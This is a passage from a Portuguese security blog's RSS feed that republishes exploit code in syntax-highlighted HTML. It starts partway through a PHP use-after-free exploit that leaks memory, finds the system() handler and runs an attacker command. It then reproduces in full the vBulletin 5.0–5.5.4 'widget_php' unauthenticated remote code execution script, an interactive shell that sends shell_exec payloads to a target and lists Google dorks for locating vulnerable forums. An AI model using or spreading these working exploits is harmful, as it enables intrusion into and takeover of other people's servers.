            <span class="token punctuation">}</span>
            <span class="token variable">$addr</span> <span class="token operator">+</span><span class="token operator">=</span> <span class="token number">0x20</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">while</span><span class="token punctuation">(</span><span class="token variable">$f_entry</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function">jsonSerialize</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">global</span> <span class="token variable">$y</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">,</span> <span class="token variable">$spl1</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">,</span> <span class="token variable">$n_alloc</span><span class="token punctuation">;</span>

        <span class="token variable">$contiguous</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$n_alloc</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span>
            <span class="token variable">$contiguous</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DateInterval</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'PT1S'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$room</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token variable">$n_alloc</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span>
            <span class="token variable">$room</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Z</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$_protector</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">ptr2str</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">78</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">ptr2str</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">79</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DateInterval</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'PT1S'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token function">unset</span><span class="token punctuation">(</span><span class="token variable">$y</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">unset</span><span class="token punctuation">(</span><span class="token variable">$p</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$protector</span> <span class="token operator">=</span> <span class="token double-quoted-string string">".<span class="token interpolation"><span class="token variable">$_protector</span></span>"</span><span class="token punctuation">;</span>

        <span class="token variable">$x</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DateInterval</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'PT1S'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$x</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">d</span> <span class="token operator">=</span> <span class="token number">0x2000</span><span class="token punctuation">;</span>
        <span class="token variable">$x</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">h</span> <span class="token operator">=</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">;</span>
        <span class="token shell-comment comment"># $this-&gt;abc is now of size 0x2000</span>

        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'UAF failed.'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token variable">$spl1</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MySplFixedArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$spl2</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MySplFixedArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># some leaks</span>
        <span class="token variable">$class_entry</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x120</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$handlers</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$php_heap</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x1a8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$abc_addr</span> <span class="token operator">=</span> <span class="token variable">$php_heap</span> <span class="token operator">-</span> <span class="token number">0x218</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># create a fake class_entry</span>
        <span class="token variable">$fake_obj</span> <span class="token operator">=</span> <span class="token variable">$abc_addr</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># type</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x120</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># fake class_entry</span>

        <span class="token shell-comment comment"># copy some of class_entry definition</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">16</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x10</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> 
                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak1</span><span class="token punctuation">(</span><span class="token variable">$class_entry</span> <span class="token operator">+</span> <span class="token number">0x10</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># fake static members table</span>
        <span class="token variable">$fake_tbl_off</span> <span class="token operator">=</span> <span class="token number">0x70</span> <span class="token operator">*</span> <span class="token number">4</span> <span class="token operator">-</span> <span class="token number">16</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x30</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x38</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token shell-comment comment"># fake zval_reference</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span><span class="token punctuation">,</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># zval</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_tbl_off</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token shell-comment comment"># zval type (reference)</span>

        <span class="token shell-comment comment"># look for binary base</span>
        <span class="token variable">$binary_leak</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$handlers</span> <span class="token operator">+</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$base</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_binary_base</span><span class="token punctuation">(</span><span class="token variable">$binary_leak</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't determine binary base address"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># parse elf header</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$elf</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">parse_elf</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't parse ELF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># get basic_functions address</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$basic_funcs</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_basic_funcs</span><span class="token punctuation">(</span><span class="token variable">$base</span><span class="token punctuation">,</span> <span class="token variable">$elf</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't get basic_functions address"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># find system entry</span>
        <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token variable">$zif_system</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">get_system</span><span class="token punctuation">(</span><span class="token variable">$basic_funcs</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token double-quoted-string string">"Couldn't get zif_system address"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        
        <span class="token shell-comment comment"># copy hashtable offsetGet bucket</span>
        <span class="token variable">$fake_bkt_off</span> <span class="token operator">=</span> <span class="token number">0x70</span> <span class="token operator">*</span> <span class="token number">5</span> <span class="token operator">-</span> <span class="token number">16</span><span class="token punctuation">;</span>

        <span class="token variable">$function_data</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">4</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> 
                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$function_data</span> <span class="token operator">+</span> <span class="token number">0x40</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># create a fake bucket</span>
        <span class="token variable">$fake_bkt_addr</span> <span class="token operator">=</span> <span class="token variable">$abc_addr</span> <span class="token operator">+</span> <span class="token variable">$fake_bkt_off</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_addr</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token number">0x58</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># copy bucket zval</span>
        <span class="token variable">$function_zval</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">str2ptr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token variable">$i</span> <span class="token operator">&lt;</span> <span class="token number">12</span><span class="token punctuation">;</span> <span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span>  <span class="token variable">$fake_bkt_off</span> <span class="token operator">+</span> <span class="token number">0x70</span> <span class="token operator">+</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> 
                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">leak2</span><span class="token punctuation">(</span><span class="token variable">$function_zval</span><span class="token punctuation">,</span> <span class="token variable">$i</span> <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token shell-comment comment"># pwn</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span> <span class="token operator">+</span> <span class="token number">0x70</span> <span class="token operator">+</span> <span class="token number">0x30</span><span class="token punctuation">,</span> <span class="token variable">$zif_system</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token property">abc</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_off</span><span class="token punctuation">,</span> <span class="token variable">$fake_bkt_addr</span> <span class="token operator">+</span> <span class="token number">0x70</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token variable">$spl1</span><span class="token operator">-</span><span class="token operator">&gt;</span><span class="token function">offsetGet</span><span class="token punctuation">(</span><span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span>

<span class="token variable">$y</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">Z</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token function">json_encode</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token operator">&amp;</span><span class="token variable">$y</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            </span></code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>vBulletin 5.0 &lt; 5.5.4 - &#039;widget_php &#039; Unauthenticated Remote Code Execution</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/vbulletin-5-0-5-5-4-widget_php-unauthenticated-remote-code-execution/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:45:52 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2929</guid>

					<description><![CDATA[vBulletin 5.0 &#60; 5.5.4 &#8211; &#8216;widget_php &#8216; Unauthenticated Remote Code Execution #!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # - site:*.vbulletin.net # - "Powered by vBulletin Version 5.5.4" import requests import sys if len(sys.argv) != 2: sys.exit("Usage: [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 class="card-title text-secondary text-center">vBulletin 5.0 &lt; 5.5.4 &#8211; &#8216;widget_php &#8216; Unauthenticated Remote Code Execution</h1>
<pre class=" language-py"><code class=" language-py"><span class="token comment">#!/usr/bin/python</span>
<span class="token comment">#</span>
<span class="token comment"># vBulletin 5.x 0day pre-auth RCE exploit</span>
<span class="token comment"># </span>
<span class="token comment"># This should work on all versions from 5.0.0 till 5.5.4</span>
<span class="token comment">#</span>
<span class="token comment"># Google Dorks:</span>
<span class="token comment"># - site:*.vbulletin.net</span>
<span class="token comment"># - "Powered by vBulletin Version 5.5.4"</span>

<span class="token keyword">import</span> requests
<span class="token keyword">import</span> sys

<span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">2</span><span class="token punctuation">:</span>
    sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token string">"Usage: %s &lt;URL to vBulletin&gt;"</span> <span class="token operator">%</span> sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>

params <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">"routestring"</span><span class="token punctuation">:</span><span class="token string">"ajax/render/widget_php"</span><span class="token punctuation">}</span>

<span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
     <span class="token keyword">try</span><span class="token punctuation">:</span>
          cmd <span class="token operator">=</span> <span class="token builtin">raw_input</span><span class="token punctuation">(</span><span class="token string">"vBulletin$ "</span><span class="token punctuation">)</span>
          params<span class="token punctuation">[</span><span class="token string">"widgetConfig[code]"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"echo shell_exec('"</span><span class="token operator">+</span>cmd<span class="token operator">+</span><span class="token string">"'); exit;"</span>
          r <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url <span class="token operator">=</span> sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> data <span class="token operator">=</span> params<span class="token punctuation">)</span>
          <span class="token keyword">if</span> r<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span>
               <span class="token keyword">print</span> r<span class="token punctuation">.</span>text
          <span class="token keyword">else</span><span class="token punctuation">:</span>
               sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token string">"Exploit failed! :("</span><span class="token punctuation">)</span>
     <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
          sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token string">"\nClosing shell..."</span><span class="token punctuation">)</span>
     <span class="token keyword">except</span> Exception<span class="token punctuation">,</span> e<span class="token punctuation">:</span>
          sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">)</span>
            </code></pre>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
